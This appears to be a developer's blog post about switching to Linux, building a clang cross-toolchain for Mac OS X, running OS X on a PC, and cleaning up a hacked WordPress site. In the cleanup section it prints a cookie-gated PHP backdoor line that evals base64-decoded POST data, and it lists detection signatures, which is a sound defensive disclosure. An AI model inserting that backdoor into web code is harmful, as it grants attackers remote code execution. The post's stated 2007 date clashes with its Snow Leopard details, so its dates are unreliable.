Well I got email up and running on openSUSE, not yet caught up with all the mailing lists, notices and junk I’m subscribed to, but I have with the customers which is most important to me.

Once I got the Linux machine working, I began setting up the tools necessary to write software for the Mac, and to incorporate into that effort the files necessary to make Mori and the other Apokalypse products run on Windows, Linux and various mobile devices.

Apple’s insistence that we must purchase new hardware every 18 months is plainly greedy, consumer unfriendly and very environmentally-unfriendly. I refuse to unnecessarily chain myself to the system as Apple chooses to package it.

I had previously decided to move onto Cocotron, a cross-platform (compatible with a target which uses a different system than the host) framework which looks and acts like Cocoa to programs using it but in a way that permits them to work on Windows and Linux, once Mori 1.7 was released. But the failure of my iMac, Apple’s policies and the availability of other growth markets have converged to motivate me to integrate it into the same effort.

But Cocotron is developed on Macs and uses toolchains (the set of development tools which builds the programs) for a format suitable for the Windows and Linux platforms. What I wanted was the toolchain for Linux that targeted MOX.

But I discovered very little practical effort was made in this direction. So to make this effort a reality, I availed myself of an open-source compiler effort, llvm, and began modifying it to be part of a fully-functional cross-platform toolchain.

But since working with Cocotron would at least initially involve running on MOX, I once again took up the effort to install Leopard on my pc as many had reportedly been able to do, and which I attempted over 2 years ago. The day after Thanksgiving Day (here in the US) I got Leopard working on my PC, an Athlon64 (Venice) machine. Details of the process and required kexts coming in a follow-up entry. (Thus I didn’t need to relocate to Miami. At least not yet.)

I wasn’t able to migrate the stuff from my previous Mac work drive due to space limitations, so I decided to postpone the MOX situation until after I could clear up more drive space and install Snow Leopard. I resumed work on the cross-platform toolchain and once I got it to produce what might be compiled files suitable for the Mac (at least according to the Linux utility “file” which identifies them as Mach-O object binaries) I decided they needed to be tested in the Mac (Darwin) environment for validation and to complete any unfinished details for a working cross-platform clang-based toolchain. (I’ll write an entry and submit patches back to the clang project if successful.)

By this time I had already purchased a copy of Snow Leopard after the Tuesday, November 30th meeting of the North Florida Ruby Brigade (a great bunch of guys with a penchant for more than just Ruby-related tech. I really hope we can help achieve a critical mass for a high-tech community in the Big Bend area), so I set about researching to what extent it was possible and what was required for my four year-old pc.

Not much, as it turns out. I’ll post an entry with details on it later, but a lot of the online info is very obsolete. The work of those in the OSX86 community and the guys of Voodoo Labs has been outstanding in making installs quite simple these days. Install Chameleon, install MOX, replace the standard kernel if needed, and install kexts for your machine if needed.

So Snow Leopard booted on my pc yesterday, and finished migrating my data (more or less) today. It took less time to install SL on a freshly-formatted drive than it took to migrate my data (no way to skip the directory on my hard drive holding my music files? Really?).

There are some things I’ve yet to work out, but I can at least continue developing for Macs. I’m currently unable to test on PowerPCs and Tiger, which I will correct with replacement hardware eventually; but at least Xcode still builds apps for them.

Xcode is running well (apparently). I’ve compiled Mori and some other projects, and finding some of the SL-related problems users have complained about. I’m trying to fix those up for another Oneill release today. But whether I can correct all those bugs beforehand or not, there will be a new snapshot to see if this set up actually works.

One thing I can report after using a current Linux system during this time, which was evident even within a day, is it will in no way become the preferred desktop platform for users who regard computers as a tool for other work rather than a gadget to be played with for its own sake.

If you attempted to access the site for the past 24+ hours I apologize for the prolonged downtime. I upgraded the WordPress system the blog runs on (complete with fail, and no thanks to the WordPress community in #wordpress for their non-help — I definitely will switch the blog to another system after 1.7′s release, and recommend prospective users to stay away from them and their system), and found compromised files throughout the system.

I believe I have corrected/removed the backdoor mechanisms which spammers have been using against the site, but there’s no evidence that the wacky WordPress system the site is now running on doesn’t have other compromised files, as well as the security holes through which the crackers originally got in.

Several compromised files had this line inserted at the beginning,

<?php if(md5($_COOKIE['_wp_debugger'])=="5fd808ac028e5197dd69318e32407eb7"){ eval(base64_decode($_POST['file'])); exit; } ?>

Others were disguised as image files, with file extensions of “pngg” and “jpgg”, and beginning with “

If you want to check your site for similarly compromised files and backdoors, search through your site code for signatures such as “qwerty”, “4008deadb16536f48b84fdc70f194dac”, “find suid files”, “_wp_debugger”, “5fd808ac028e5197dd69318e32407eb7″. The signatures are sure to change, as they’re used to activate the backdoor scripts, but at least you have a way to check current installations for these same spammers.

All in all, an unhealthy state of affairs for the Content Management System (CMS) industry. The market is still up for grabs.

The past week was one of the worst in recent computer experiences I’ve had, surpassing the Leopard install. In fact, the last time my experience has been this bad was when I last fiddled with website software. I was going to abandon the whole server transfer/upgrade plan due to the issues the upgrades were causing, but I remembered the transfer itself should be fairly trouble free. I’ll only upgrade a minor version; not a whole version, which would require adding a lot of code to custom modules Jesse wrote. Should be.

I can appreciate the time and effort invested by those who work on open source projects, but developers who complain that users aren’t migrating to their latest efforts quickly enough are both arrogant and naive. Customers prefer to be able to continue using the data they’ve stored in the current versions to losing them when they migrate to the newer ones. I’m pretty sure it’s the same for OSS users. Much as I love writing code, I have enough to write already thank you very much. And I don’t appreciate having to spelunk through your code to figure out what those data structures you’ve added are supposed to do (“ooh, shiny, new!”) just because you’re too lazy to write the docs (“the code are the docs!”) and impatient to play with your new ideas.

Although the site I inherited from Jesse used a CMS system distinct and incompatible from the one I had selected when I started my own, I didn’t want to switch it around or try doing new things with it because I felt the continuity was better than taking the time to rebuild a site from scratch. But now I can appreciate Jesse’s decision to do such a thing. If I have to spend the downtime upgrading parts that already work well just to get the features needed for other modules, I might as well fix it to my own needs and ignore the chaos that OSS developers are creating in the system. Now the whole NIH question is thrown out the window. It’s no longer a matter of, “Oh, I can do a cooler system.” Now it’s a question of the developers themselves causing users to abandon their system. A question of distrust and self-preservation.

Hopefully, any remaining misconfigurations in the website will be rectified before a second person notices it.

If you sent an email in the past 24 hours (of 2007-12-05) and you haven’t gotten a response already I apologize, but you’ll need to resend it. My site host doesn’t transfer files, emails, settings, or the like between accounts; and well, it has probably been crushed by the lumbering floes. In fact, if you’re waiting for a response from me on any matter, please jog my memory with another email.

Anyway, at least the site now has some breathing room, and I can continue improving the products.